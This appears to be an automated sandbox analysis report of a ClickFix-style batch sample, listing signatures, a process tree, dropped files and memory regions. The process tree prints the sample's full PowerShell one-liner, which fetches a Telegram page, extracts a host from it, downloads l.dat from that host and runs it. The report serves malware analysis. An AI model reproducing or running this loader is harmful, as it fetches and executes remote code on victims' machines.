Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/08/2026, 11:42

General

  • Target
    clickfix_raw_user_input.bat
  • Size 246B
  • Sample260815-nt4vwsvfrd
  • SHA256 a987236f44ffeb3ffb428dc0d243c5610afeea233ffffbba43f246ed580347ed
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -c "$br=$env:TEMP+'\a';curl.exe -s 'https://t.me/+0vBjMvImreIxMjdk' -o $br;$pxt=[regex]::Match((gc $br -Raw),'ge_de[^>]+>\s*(\S+)').Groups[1].Value;.([scriptblock]::Create((irm('https://'+$pxt+'/l.dat'))));ri $br -Ea 0"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Windows\system32\curl.exe
        "C:\Windows\system32\curl.exe" -s https://t.me/+0vBjMvImreIxMjdk -o C:\Users\Admin\AppData\Local\Temp\a
        3⤵
          PID:4040

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_npnyaghb.ifj.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npnyaghb.ifj.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          a

          • Path C:\Users\Admin\AppData\Local\Temp\a
          • Size 9KB
          • SHA256 5e6922277db794524798ed177b9da0f5402e4a1d6b50c6ac38fcbd56e9dcaefa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1780-1-0x00000241727A0000-0x00000241727B0000-memory.dmp

          memory/1780-0-0x00000241727A0000-0x00000241727B0000-memory.dmp

          memory/1780-7-0x0000024172660000-0x0000024172682000-memory.dmp

          memory/1780-10-0x00000241727A0000-0x00000241727B0000-memory.dmp

          memory/1780-11-0x00000241727A0000-0x00000241727B0000-memory.dmp

          memory/1780-14-0x00000241727A0000-0x00000241727B0000-memory.dmp